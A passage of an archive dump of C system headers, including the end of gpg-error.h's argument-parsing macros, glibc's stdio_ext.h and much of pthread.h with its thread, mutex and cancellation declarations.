#define ARGPARSE_op(s,l,t,d) \ { (s), (l), (ARGPARSE_TYPE_ ## t \ | ARGPARSE_OPT_OPTIONAL | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_op_n(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_NONE \ | ARGPARSE_OPT_OPTIONAL | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_op_i(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_INT \ | ARGPARSE_OPT_OPTIONAL | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_op_s(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_STRING \ | ARGPARSE_OPT_OPTIONAL | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_op_l(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_LONG \ | ARGPARSE_OPT_OPTIONAL | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_op_u(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_ULONG \ | ARGPARSE_OPT_OPTIONAL | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_c(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_NONE | ARGPARSE_OPT_COMMAND), (d) } #define ARGPARSE_ignore(s,l) \ { (s), (l), (ARGPARSE_OPT_IGNORE), "@" } #define ARGPARSE_group(s,d) \ { (s), NULL, 0, (d) } /* Mark the end of the list (mandatory). */ #define ARGPARSE_end() \ { 0, NULL, 0, NULL } #endif /* GPGRT_ENABLE_ARGPARSE_MACROS */ /* Take care: gpgrt_argparse keeps state in ARG and requires that * either ARGPARSE_FLAG_RESET is used after OPTS has been changed or * gpgrt_argparse (NULL, ARG, NULL) is called first. */ int gpgrt_argparse (gpgrt_stream_t fp, gpgrt_argparse_t *arg, gpgrt_opt_t *opts); void gpgrt_usage (int level); const char *gpgrt_strusage (int level); void gpgrt_set_strusage (const char *(*f)(int)); void gpgrt_set_usage_outfnc (int (*f)(int, const char *)); void gpgrt_set_fixed_string_mapper (const char *(*f)(const char*)); #ifdef __cplusplus } #endif #endif /* GPGRT_H */ #endif /* GPG_ERROR_H */ /* Local Variables: buffer-read-only: t End: */ stdio_ext.h 0000644 00000005357 15246445046 0006743 0 ustar 00 /* Functions to access FILE structure internals. Copyright (C) 2000-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This header contains the same definitions as the header of the same name on Sun's Solaris OS. */ #ifndef _STDIO_EXT_H #define _STDIO_EXT_H 1 #include <stdio.h> enum { /* Query current state of the locking status. */ FSETLOCKING_QUERY = 0, #define FSETLOCKING_QUERY FSETLOCKING_QUERY /* The library protects all uses of the stream functions, except for uses of the *_unlocked functions, by calls equivalent to flockfile(). */ FSETLOCKING_INTERNAL, #define FSETLOCKING_INTERNAL FSETLOCKING_INTERNAL /* The user will take care of locking. */ FSETLOCKING_BYCALLER #define FSETLOCKING_BYCALLER FSETLOCKING_BYCALLER }; __BEGIN_DECLS /* Return the size of the buffer of FP in bytes currently in use by the given stream. */ extern size_t __fbufsize (FILE *__fp) __THROW; /* Return non-zero value iff the stream FP is opened readonly, or if the last operation on the stream was a read operation. */ extern int __freading (FILE *__fp) __THROW; /* Return non-zero value iff the stream FP is opened write-only or append-only, or if the last operation on the stream was a write operation. */ extern int __fwriting (FILE *__fp) __THROW; /* Return non-zero value iff stream FP is not opened write-only or append-only. */ extern int __freadable (FILE *__fp) __THROW; /* Return non-zero value iff stream FP is not opened read-only. */ extern int __fwritable (FILE *__fp) __THROW; /* Return non-zero value iff the stream FP is line-buffered. */ extern int __flbf (FILE *__fp) __THROW; /* Discard all pending buffered I/O on the stream FP. */ extern void __fpurge (FILE *__fp) __THROW; /* Return amount of output in bytes pending on a stream FP. */ extern size_t __fpending (FILE *__fp) __THROW; /* Flush all line-buffered files. */ extern void _flushlbf (void); /* Set locking status of stream FP to TYPE. */ extern int __fsetlocking (FILE *__fp, int __type) __THROW; __END_DECLS #endif /* stdio_ext.h */ pthread.h 0000644 00000120465 15246445046 0006366 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _PTHREAD_H #define _PTHREAD_H 1 #include <features.h> #include <endian.h> #include <sched.h> #include <time.h> #include <bits/pthreadtypes.h> #include <bits/setjmp.h> #include <bits/wordsize.h> #include <bits/types/struct_timespec.h> /* Detach state. */ enum { PTHREAD_CREATE_JOINABLE, #define PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_DETACHED #define PTHREAD_CREATE_DETACHED PTHREAD_CREATE_DETACHED }; /* Mutex types. */ enum { PTHREAD_MUTEX_TIMED_NP, PTHREAD_MUTEX_RECURSIVE_NP, PTHREAD_MUTEX_ERRORCHECK_NP, PTHREAD_MUTEX_ADAPTIVE_NP #if defined __USE_UNIX98 || defined __USE_XOPEN2K8 , PTHREAD_MUTEX_NORMAL = PTHREAD_MUTEX_TIMED_NP, PTHREAD_MUTEX_RECURSIVE = PTHREAD_MUTEX_RECURSIVE_NP, PTHREAD_MUTEX_ERRORCHECK = PTHREAD_MUTEX_ERRORCHECK_NP, PTHREAD_MUTEX_DEFAULT = PTHREAD_MUTEX_NORMAL #endif #ifdef __USE_GNU /* For compatibility. */ , PTHREAD_MUTEX_FAST_NP = PTHREAD_MUTEX_TIMED_NP #endif }; #ifdef __USE_XOPEN2K /* Robust mutex or not flags. */ enum { PTHREAD_MUTEX_STALLED, PTHREAD_MUTEX_STALLED_NP = PTHREAD_MUTEX_STALLED, PTHREAD_MUTEX_ROBUST, PTHREAD_MUTEX_ROBUST_NP = PTHREAD_MUTEX_ROBUST }; #endif #if defined __USE_POSIX199506 || defined __USE_UNIX98 /* Mutex protocols. */ enum { PTHREAD_PRIO_NONE, PTHREAD_PRIO_INHERIT, PTHREAD_PRIO_PROTECT }; #endif #if __PTHREAD_MUTEX_HAVE_PREV # define PTHREAD_MUTEX_INITIALIZER \ { { 0, 0, 0, 0, 0, __PTHREAD_SPINS, { 0, 0 } } } # ifdef __USE_GNU # define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \ { { 0, 0, 0, 0, PTHREAD_MUTEX_RECURSIVE_NP, __PTHREAD_SPINS, { 0, 0 } } } # define PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP \ { { 0, 0, 0, 0, PTHREAD_MUTEX_ERRORCHECK_NP, __PTHREAD_SPINS, { 0, 0 } } } # define PTHREAD_ADAPTIVE_MUTEX_INITIALIZER_NP \ { { 0, 0, 0, 0, PTHREAD_MUTEX_ADAPTIVE_NP, __PTHREAD_SPINS, { 0, 0 } } } # endif #else # define PTHREAD_MUTEX_INITIALIZER \ { { 0, 0, 0, 0, 0, { __PTHREAD_SPINS } } } # ifdef __USE_GNU # define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \ { { 0, 0, 0, PTHREAD_MUTEX_RECURSIVE_NP, 0, { __PTHREAD_SPINS } } } # define PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP \ { { 0, 0, 0, PTHREAD_MUTEX_ERRORCHECK_NP, 0, { __PTHREAD_SPINS } } } # define PTHREAD_ADAPTIVE_MUTEX_INITIALIZER_NP \ { { 0, 0, 0, PTHREAD_MUTEX_ADAPTIVE_NP, 0, { __PTHREAD_SPINS } } } # endif #endif /* Read-write lock types. */ #if defined __USE_UNIX98 || defined __USE_XOPEN2K enum { PTHREAD_RWLOCK_PREFER_READER_NP, PTHREAD_RWLOCK_PREFER_WRITER_NP, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP, PTHREAD_RWLOCK_DEFAULT_NP = PTHREAD_RWLOCK_PREFER_READER_NP }; /* Define __PTHREAD_RWLOCK_INT_FLAGS_SHARED to 1 if pthread_rwlock_t has the shared field. All 64-bit architectures have the shared field in pthread_rwlock_t. */ #ifndef __PTHREAD_RWLOCK_INT_FLAGS_SHARED # if __WORDSIZE == 64 # define __PTHREAD_RWLOCK_INT_FLAGS_SHARED 1 # endif #endif /* Read-write lock initializers. */ # define PTHREAD_RWLOCK_INITIALIZER \ { { 0, 0, 0, 0, 0, 0, 0, 0, __PTHREAD_RWLOCK_ELISION_EXTRA, 0, 0 } } # ifdef __USE_GNU # ifdef __PTHREAD_RWLOCK_INT_FLAGS_SHARED # define PTHREAD_RWLOCK_WRITER_NONRECURSIVE_INITIALIZER_NP \ { { 0, 0, 0, 0, 0, 0, 0, 0, __PTHREAD_RWLOCK_ELISION_EXTRA, 0, \ PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP } } # else # if __BYTE_ORDER == __LITTLE_ENDIAN # define PTHREAD_RWLOCK_WRITER_NONRECURSIVE_INITIALIZER_NP \ { { 0, 0, 0, 0, 0, 0, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP, \ 0, __PTHREAD_RWLOCK_ELISION_EXTRA, 0, 0 } } # else # define PTHREAD_RWLOCK_WRITER_NONRECURSIVE_INITIALIZER_NP \ { { 0, 0, 0, 0, 0, 0, 0, 0, 0, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP,\ 0 } } # endif # endif # endif #endif /* Unix98 or XOpen2K */ /* Scheduler inheritance. */ enum { PTHREAD_INHERIT_SCHED, #define PTHREAD_INHERIT_SCHED PTHREAD_INHERIT_SCHED PTHREAD_EXPLICIT_SCHED #define PTHREAD_EXPLICIT_SCHED PTHREAD_EXPLICIT_SCHED }; /* Scope handling. */ enum { PTHREAD_SCOPE_SYSTEM, #define PTHREAD_SCOPE_SYSTEM PTHREAD_SCOPE_SYSTEM PTHREAD_SCOPE_PROCESS #define PTHREAD_SCOPE_PROCESS PTHREAD_SCOPE_PROCESS }; /* Process shared or private flag. */ enum { PTHREAD_PROCESS_PRIVATE, #define PTHREAD_PROCESS_PRIVATE PTHREAD_PROCESS_PRIVATE PTHREAD_PROCESS_SHARED #define PTHREAD_PROCESS_SHARED PTHREAD_PROCESS_SHARED }; /* Conditional variable handling. */ #define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, {0, 0}, 0, 0, {0, 0} } } /* Cleanup buffers */ struct _pthread_cleanup_buffer { void (*__routine) (void *); /* Function to call. */ void *__arg; /* Its argument. */ int __canceltype; /* Saved cancellation type. */ struct _pthread_cleanup_buffer *__prev; /* Chaining of cleanup functions. */ }; /* Cancellation */ enum { PTHREAD_CANCEL_ENABLE, #define PTHREAD_CANCEL_ENABLE PTHREAD_CANCEL_ENABLE PTHREAD_CANCEL_DISABLE #define PTHREAD_CANCEL_DISABLE PTHREAD_CANCEL_DISABLE }; enum { PTHREAD_CANCEL_DEFERRED, #define PTHREAD_CANCEL_DEFERRED PTHREAD_CANCEL_DEFERRED PTHREAD_CANCEL_ASYNCHRONOUS #define PTHREAD_CANCEL_ASYNCHRONOUS PTHREAD_CANCEL_ASYNCHRONOUS }; #define PTHREAD_CANCELED ((void *) -1) /* Single execution handling. */ #define PTHREAD_ONCE_INIT 0 #ifdef __USE_XOPEN2K /* Value returned by 'pthread_barrier_wait' for one of the threads after the required number of threads have called this function. -1 is distinct from 0 and all errno constants */ # define PTHREAD_BARRIER_SERIAL_THREAD -1 #endif __BEGIN_DECLS /* Create a new thread, starting with execution of START-ROUTINE getting passed ARG. Creation attributed come from ATTR. The new handle is stored in *NEWTHREAD. */ extern int pthread_create (pthread_t *__restrict __newthread, const pthread_attr_t *__restrict __attr, void *(*__start_routine) (void *), void *__restrict __arg) __THROWNL __nonnull ((1, 3)); /* Terminate calling thread. The registered cleanup handlers are called via exception handling so we cannot mark this function with __THROW.*/ extern void pthread_exit (void *__retval) __attribute__ ((__noreturn__)); /* Make calling thread wait for termination of the thread TH. The exit status of the thread is stored in *THREAD_RETURN, if THREAD_RETURN is not NULL. This function is a cancellation point and therefore not marked with __THROW. */ extern int pthread_join (pthread_t __th, void **__thread_return); #ifdef __USE_GNU /* Check whether thread TH has terminated. If yes return the status of the thread in *THREAD_RETURN, if THREAD_RETURN is not NULL. */ extern int pthread_tryjoin_np (pthread_t __th, void **__thread_return) __THROW; /* Make calling thread wait for termination of the thread TH, but only until TIMEOUT. The exit status of the thread is stored in *THREAD_RETURN, if THREAD_RETURN is not NULL. This function is a cancellation point and therefore not marked with __THROW. */ extern int pthread_timedjoin_np (pthread_t __th, void **__thread_return, const struct timespec *__abstime); #endif /* Indicate that the thread TH is never to be joined with PTHREAD_JOIN. The resources of TH will therefore be freed immediately when it terminates, instead of waiting for another thread to perform PTHREAD_JOIN on it. */ extern int pthread_detach (pthread_t __th) __THROW; /* Obtain the identifier of the current thread. */ extern pthread_t pthread_self (void) __THROW __attribute__ ((__const__)); /* Compare two thread identifiers. */ extern int pthread_equal (pthread_t __thread1, pthread_t __thread2) __THROW __attribute__ ((__const__)); /* Thread attribute handling. */ /* Initialize thread attribute *ATTR with default attributes (detachstate is PTHREAD_JOINABLE, scheduling policy is SCHED_OTHER, no user-provided stack). */ extern int pthread_attr_init (pthread_attr_t *__attr) __THROW __nonnull ((1)); /* Destroy thread attribute *ATTR. */ extern int pthread_attr_destroy (pthread_attr_t *__attr) __THROW __nonnull ((1)); /* Get detach state attribute. */ extern int pthread_attr_getdetachstate (const pthread_attr_t *__attr, int *__detachstate) __THROW __nonnull ((1, 2)); /* Set detach state attribute. */ extern int pthread_attr_setdetachstate (pthread_attr_t *__attr, int __detachstate) __THROW __nonnull ((1)); /* Get the size of the guard area created for stack overflow protection. */ extern int pthread_attr_getguardsize (const pthread_attr_t *__attr, size_t *__guardsize) __THROW __nonnull ((1, 2)); /* Set the size of the guard area created for stack overflow protection. */ extern int pthread_attr_setguardsize (pthread_attr_t *__attr, size_t __guardsize) __THROW __nonnull ((1)); /* Return in *PARAM the scheduling parameters of *ATTR. */ extern int pthread_attr_getschedparam (const pthread_attr_t *__restrict __attr, struct sched_param *__restrict __param) __THROW __nonnull ((1, 2)); /* Set scheduling parameters (priority, etc) in *ATTR according to PARAM. */ extern int pthread_attr_setschedparam (pthread_attr_t *__restrict __attr, const struct sched_param *__restrict __param) __THROW __nonnull ((1, 2)); /* Return in *POLICY the scheduling policy of *ATTR. */ extern int pthread_attr_getschedpolicy (const pthread_attr_t *__restrict __attr, int *__restrict __policy) __THROW __nonnull ((1, 2)); /* Set scheduling policy in *ATTR according to POLICY. */ extern int pthread_attr_setschedpolicy (pthread_attr_t *__attr, int __policy) __THROW __nonnull ((1)); /* Return in *INHERIT the scheduling inheritance mode of *ATTR. */ extern int pthread_attr_getinheritsched (const pthread_attr_t *__restrict __attr, int *__restrict __inherit) __THROW __nonnull ((1, 2)); /* Set scheduling inheritance mode in *ATTR according to INHERIT. */ extern int pthread_attr_setinheritsched (pthread_attr_t *__attr, int __inherit) __THROW __nonnull ((1)); /* Return in *SCOPE the scheduling contention scope of *ATTR. */ extern int pthread_attr_getscope (const pthread_attr_t *__restrict __attr, int *__restrict __scope) __THROW __nonnull ((1, 2)); /* Set scheduling contention scope in *ATTR according to SCOPE. */ extern int pthread_attr_setscope (pthread_attr_t *__attr, int __scope) __THROW __nonnull ((1)); /* Return the previously set address for the stack. */ extern int pthread_attr_getstackaddr (const pthread_attr_t *__restrict __attr, void **__restrict __stackaddr) __THROW __nonnull ((1, 2)) __attribute_deprecated__; /* Set the starting address of the stack of the thread to be created. Depending on whether the stack grows up or down the value must either be higher or lower than all the address in the memory block. The minimal size of the block must be PTHREAD_STACK_MIN. */ extern int pthread_attr_setstackaddr (pthread_attr_t *__attr, void *__stackaddr) __THROW __nonnull ((1)) __attribute_deprecated__; /* Return the currently used minimal stack size. */ extern int pthread_attr_getstacksize (const pthread_attr_t *__restrict __attr, size_t *__restrict __stacksize) __THROW __nonnull ((1, 2)); /* Add information about the minimum stack size needed for the thread to be started. This size must never be less than PTHREAD_STACK_MIN and must also not exceed the system limits. */ extern int pthread_attr_setstacksize (pthread_attr_t *__attr, size_t __stacksize) __THROW __nonnull ((1)); #ifdef __USE_XOPEN2K /* Return the previously set address for the stack. */ extern int pthread_attr_getstack (const pthread_attr_t *__restrict __attr, void **__restrict __stackaddr, size_t *__restrict __stacksize) __THROW __nonnull ((1, 2, 3)); /* The following two interfaces are intended to replace the last two. They require setting the address as well as the size since only setting the address will make the implementation on some architectures impossible. */ extern int pthread_attr_setstack (pthread_attr_t *__attr, void *__stackaddr, size_t __stacksize) __THROW __nonnull ((1)); #endif #ifdef __USE_GNU /* Thread created with attribute ATTR will be limited to run only on the processors represented in CPUSET. */ extern int pthread_attr_setaffinity_np (pthread_attr_t *__attr, size_t __cpusetsize, const cpu_set_t *__cpuset) __THROW __nonnull ((1, 3)); /* Get bit set in CPUSET representing the processors threads created with ATTR can run on. */ extern int pthread_attr_getaffinity_np (const pthread_attr_t *__attr, size_t __cpusetsize, cpu_set_t *__cpuset) __THROW __nonnull ((1, 3)); /* Get the default attributes used by pthread_create in this process. */ extern int pthread_getattr_default_np (pthread_attr_t *__attr) __THROW __nonnull ((1)); /* Set the default attributes to be used by pthread_create in this process. */ extern int pthread_setattr_default_np (const pthread_attr_t *__attr) __THROW __nonnull ((1)); /* Initialize thread attribute *ATTR with attributes corresponding to the already running thread TH. It shall be called on uninitialized ATTR and destroyed with pthread_attr_destroy when no longer needed. */ extern int pthread_getattr_np (pthread_t __th, pthread_attr_t *__attr) __THROW __nonnull ((2)); #endif /* Functions for scheduling control. */ /* Set the scheduling parameters for TARGET_THREAD according to POLICY and *PARAM. */ extern int pthread_setschedparam (pthread_t __target_thread, int __policy, const struct sched_param *__param) __THROW __nonnull ((3)); /* Return in *POLICY and *PARAM the scheduling parameters for TARGET_THREAD. */ extern int pthread_getschedparam (pthread_t __target_thread, int *__restrict __policy, struct sched_param *__restrict __param) __THROW __nonnull ((2, 3)); /* Set the scheduling priority for TARGET_THREAD. */ extern int pthread_setschedprio (pthread_t __target_thread, int __prio) __THROW; #ifdef __USE_GNU /* Get thread name visible in the kernel and its interfaces. */ extern int pthread_getname_np (pthread_t __target_thread, char *__buf, size_t __buflen) __THROW __nonnull ((2)); /* Set thread name visible in the kernel and its interfaces. */ extern int pthread_setname_np (pthread_t __target_thread, const char *__name) __THROW __nonnull ((2)); #endif #ifdef __USE_UNIX98 /* Determine level of concurrency. */ extern int pthread_getconcurrency (void) __THROW; /* Set new concurrency level to LEVEL. */ extern int pthread_setconcurrency (int __level) __THROW; #endif #ifdef __USE_GNU /* Yield the processor to another thread or process. This function is similar to the POSIX `sched_yield' function but might be differently implemented in the case of a m-on-n thread implementation. */ extern int pthread_yield (void) __THROW; /* Limit specified thread TH to run only on the processors represented in CPUSET. */ extern int pthread_setaffinity_np (pthread_t __th, size_t __cpusetsize, const cpu_set_t *__cpuset) __THROW __nonnull ((3)); /* Get bit set in CPUSET representing the processors TH can run on. */ extern int pthread_getaffinity_np (pthread_t __th, size_t __cpusetsize, cpu_set_t *__cpuset) __THROW __nonnull ((3)); #endif /* Functions for handling initialization. */ /* Guarantee that the initialization function INIT_ROUTINE will be called only once, even if pthread_once is executed several times with the same ONCE_CONTROL argument. ONCE_CONTROL must point to a static or extern variable initialized to PTHREAD_ONCE_INIT. The initialization functions might throw exception which is why this function is not marked with __THROW. */ extern int pthread_once (pthread_once_t *__once_control, void (*__init_routine) (void)) __nonnull ((1, 2)); /* Functions for handling cancellation. Note that these functions are explicitly not marked to not throw an exception in C++ code. If cancellation is implemented by unwinding this is necessary to have the compiler generate the unwind information. */ /* Set cancelability state of current thread to STATE, returning old state in *OLDSTATE if OLDSTATE is not NULL. */ extern int pthread_setcancelstate (int __state, int *__oldstate); /* Set cancellation state of current thread to TYPE, returning the old type in *OLDTYPE if OLDTYPE is not NULL. */ extern int pthread_setcanceltype (int __type, int *__oldtype); /* Cancel THREAD immediately or at the next possibility. */ extern int pthread_cancel (pthread_t __th); /* Test for pending cancellation for the current thread and terminate the thread as per pthread_exit(PTHREAD_CANCELED) if it has been cancelled. */ extern void pthread_testcancel (void); /* Cancellation handling with integration into exception handling. */ typedef struct { struct { __jmp_buf __cancel_jmp_buf; int __mask_was_saved; } __cancel_jmp_buf[1]; void *__pad[4]; } __pthread_unwind_buf_t __attribute__ ((__aligned__)); /* No special attributes by default. */ #ifndef __cleanup_fct_attribute # define __cleanup_fct_attribute #endif /* Structure to hold the cleanup handler information. */ struct __pthread_cleanup_frame { void (*__cancel_routine) (void *); void *__cancel_arg; int __do_it; int __cancel_type; }; #if defined __GNUC__ && defined __EXCEPTIONS # ifdef __cplusplus /* Class to handle cancellation handler invocation. */ class __pthread_cleanup_class { void (*__cancel_routine) (void *); void *__cancel_arg; int __do_it; int __cancel_type; public: __pthread_cleanup_class (void (*__fct) (void *), void *__arg) : __cancel_routine (__fct), __cancel_arg (__arg), __do_it (1) { } ~__pthread_cleanup_class () { if (__do_it) __cancel_routine (__cancel_arg); } void __setdoit (int __newval) { __do_it = __newval; } void __defer () { pthread_setcanceltype (PTHREAD_CANCEL_DEFERRED, &__cancel_type); } void __restore () const { pthread_setcanceltype (__cancel_type, 0); } }; /* Install a cleanup handler: ROUTINE will be called with arguments ARG when the thread is canceled or calls pthread_exit. ROUTINE will also be called with arguments ARG when the matching pthread_cleanup_pop is executed with non-zero EXECUTE argument. pthread_cleanup_push and pthread_cleanup_pop are macros and must always be used in matching pairs at the same nesting level of braces. */ # define pthread_cleanup_push(routine, arg) \ do { \ __pthread_cleanup_class __clframe (routine, arg) /* Remove a cleanup handler installed by the matching pthread_cleanup_push. If EXECUTE is non-zero, the handler function is called. */ # define pthread_cleanup_pop(execute) \ __clframe.__setdoit (execute); \ } while (0) # ifdef __USE_GNU /* Install a cleanup handler as pthread_cleanup_push does, but also saves the current cancellation type and sets it to deferred cancellation. */ # define pthread_cleanup_push_defer_np(routine, arg) \ do { \ __pthread_cleanup_class __clframe (routine, arg); \ __clframe.__defer () /* Remove a cleanup handler as pthread_cleanup_pop does, but also restores the cancellation type that was in effect when the matching pthread_cleanup_push_defer was called. */ # define pthread_cleanup_pop_restore_np(execute) \ __clframe.__restore (); \ __clframe.__setdoit (execute); \ } while (0) # endif # else /* Function called to call the cleanup handler. As an extern inline function the compiler is free to decide inlining the change when needed or fall back on the copy which must exist somewhere else. */ __extern_inline void __pthread_cleanup_routine (struct __pthread_cleanup_frame *__frame) { if (__frame->__do_it) __frame->__cancel_routine (__frame->__cancel_arg); } /* Install a cleanup handler: ROUTINE will be called with arguments ARG when the thread is canceled or calls pthread_exit. ROUTINE will also be called with arguments ARG when the matching pthread_cleanup_pop is executed with non-zero EXECUTE argument. pthread_cleanup_push and pthread_cleanup_pop are macros and must always be used in matching pairs at the same nesting level of braces. */ # define pthread_cleanup_push(routine, arg) \ do { \ struct __pthread_cleanup_frame __clframe \ __attribute__ ((__cleanup__ (__pthread_cleanup_routine))) \ = { .__cancel_routine = (routine), .__cancel_arg = (arg), \ .__do_it = 1 }; /* Remove a cleanup handler installed by the matching pthread_cleanup_push. If EXECUTE is non-zero, the handler function is called. */ # define pthread_cleanup_pop(execute) \ __clframe.__do_it = (execute); \ } while (0) # ifdef __USE_GNU /* Install a cleanup handler as pthread_cleanup_push does, but also saves the current cancellation type and sets it to deferred cancellation. */ # define pthread_cleanup_push_defer_np(routine, arg) \ do { \ struct __pthread_cleanup_frame __clframe \ __attribute__ ((__cleanup__ (__pthread_cleanup_routine))) \ = { .__cancel_routine = (routine), .__cancel_arg = (arg), \ .__do_it = 1 }; \ (void) pthread_setcanceltype (PTHREAD_CANCEL_DEFERRED, \ &__clframe.__cancel_type) /* Remove a cleanup handler as pthread_cleanup_pop does, but also restores the cancellation type that was in effect when the matching pthread_cleanup_push_defer was called. */ # define pthread_cleanup_pop_restore_np(execute) \ (void) pthread_setcanceltype (__clframe.__cancel_type, NULL); \ __clframe.__do_it = (execute); \ } while (0) # endif # endif #else /* Install a cleanup handler: ROUTINE will be called with arguments ARG when the thread is canceled or calls pthread_exit. ROUTINE will also be called with arguments ARG when the matching pthread_cleanup_pop is executed with non-zero EXECUTE argument. pthread_cleanup_push and pthread_cleanup_pop are macros and must always be used in matching pairs at the same nesting level of braces. */ # define pthread_cleanup_push(routine, arg) \ do { \ __pthread_unwind_buf_t __cancel_buf; \ void (*__cancel_routine) (void *) = (routine); \ void *__cancel_arg = (arg); \ int __not_first_call = __sigsetjmp ((struct __jmp_buf_tag *) (void *) \ __cancel_buf.__cancel_jmp_buf, 0); \ if (__glibc_unlikely (__not_first_call)) \ { \ __cancel_routine (__cancel_arg); \ __pthread_unwind_next (&__cancel_buf); \ /* NOTREACHED */ \ } \ \ __pthread_register_cancel (&__cancel_buf); \ do { extern void __pthread_register_cancel (__pthread_unwind_buf_t *__buf) __cleanup_fct_attribute; /* Remove a cleanup handler installed by the matching pthread_cleanup_push. If EXECUTE is non-zero, the handler function is called. */ # define pthread_cleanup_pop(execute) \ do { } while (0);/* Empty to allow label before pthread_cleanup_pop. */\ } while (0); \ __pthread_unregister_cancel (&__cancel_buf); \ if (execute) \ __cancel_routine (__cancel_arg); \ } while (0) extern void __pthread_unregister_cancel (__pthread_unwind_buf_t *__buf) __cleanup_fct_attribute; # ifdef __USE_GNU /* Install a cleanup handler as pthread_cleanup_push does, but also saves the current cancellation type and sets it to deferred cancellation. */ # define pthread_cleanup_push_defer_np(routine, arg) \ do { \ __pthread_unwind_buf_t __cancel_buf; \ void (*__cancel_routine) (void *) = (routine); \ void *__cancel_arg = (arg); \ int __not_first_call = __sigsetjmp ((struct __jmp_buf_tag *) (void *) \ __cancel_buf.__cancel_jmp_buf, 0); \ if (__glibc_unlikely (__not_first_call)) \ { \ __cancel_routine (__cancel_arg); \ __pthread_unwind_next (&__cancel_buf); \ /* NOTREACHED */ \ } \ \ __pthread_register_cancel_defer (&__cancel_buf); \ do { extern void __pthread_register_cancel_defer (__pthread_unwind_buf_t *__buf) __cleanup_fct_attribute; /* Remove a cleanup handler as pthread_cleanup_pop does, but also restores the cancellation type that was in effect when the matching pthread_cleanup_push_defer was called. */ # define pthread_cleanup_pop_restore_np(execute) \ do { } while (0);/* Empty to allow label before pthread_cleanup_pop. */\ } while (0); \ __pthread_unregister_cancel_restore (&__cancel_buf); \ if (execute) \ __cancel_routine (__cancel_arg); \ } while (0) extern void __pthread_unregister_cancel_restore (__pthread_unwind_buf_t *__buf) __cleanup_fct_attribute; # endif /* Internal interface to initiate cleanup. */ extern void __pthread_unwind_next (__pthread_unwind_buf_t *__buf) __cleanup_fct_attribute __attribute__ ((__noreturn__)) # ifndef SHARED __attribute__ ((__weak__)) # endif ; #endif /* Function used in the macros. */ struct __jmp_buf_tag; extern int __sigsetjmp (struct __jmp_buf_tag *__env, int __savemask) __THROWNL; /* Mutex handling. */ /* Initialize a mutex. */ extern int pthread_mutex_init (pthread_mutex_t *__mutex, const pthread_mutexattr_t *__mutexattr) __THROW __nonnull ((1)); /* Destroy a mutex. */ extern int pthread_mutex_destroy (pthread_mutex_t *__mutex) __THROW __nonnull ((1)); /* Try locking a mutex. */ extern int pthread_mutex_trylock (pthread_mutex_t *__mutex) __THROWNL __nonnull ((1)); /* Lock a mutex. */ extern int pthread_mutex_lock (pthread_mutex_t *__mutex) __THROWNL __nonnull ((1)); #ifdef __USE_XOPEN2K /* Wait until lock becomes available, or specified time passes. */ extern int pthread_mutex_timedlock (pthread_mutex_t *__restrict __mutex, const struct timespec *__restrict __abstime) __THROWNL __nonnull ((1, 2)); #endif /* Unlock a mutex. */ extern int pthread_mutex_unlock (pthread_mutex_t *__mutex) __THROWNL __nonnull ((1)); /* Get the priority ceiling of MUTEX. */ extern int pthread_mutex_getprioceiling (const pthread_mutex_t * __restrict __mutex, int *__restrict __prioceiling) __THROW __nonnull ((1, 2)); /* Set the priority ceiling of MUTEX to PRIOCEILING, return old priority ceiling value in *OLD_CEILING. */ extern int pthread_mutex_setprioceiling (pthread_mutex_t *__restrict __mutex, int __prioceiling, int *__restrict __old_ceiling) __THROW __nonnull ((1, 3)); #ifdef __USE_XOPEN2K8 /* Declare the state protected by MUTEX as consistent. */ extern int pthread_mutex_consistent (pthread_mutex_t *__mutex) __THROW __nonnull ((1)); # ifdef __USE_GNU extern int pthread_mutex_consistent_np (pthread_mutex_t *__mutex) __THROW __nonnull ((1)); # endif #endif /* Functions for handling mutex attributes. */ /* Initialize mutex attribute object ATTR with default attributes (kind is PTHREAD_MUTEX_TIMED_NP). */ extern int pthread_mutexattr_init (pthread_mutexattr_t *__attr) __THROW __nonnull ((1)); /* Destroy mutex attribute object ATTR. */ extern int pthread_mutexattr_destroy (pthread_mutexattr_t *__attr) __THROW __nonnull ((1)); /* Get the process-shared flag of the mutex attribute ATTR. */ extern int pthread_mutexattr_getpshared (const pthread_mutexattr_t * __restrict __attr, int *__restrict __pshared) __THROW __nonnull ((1, 2)); /* Set the process-shared flag of the mutex attribute ATTR. */ extern int 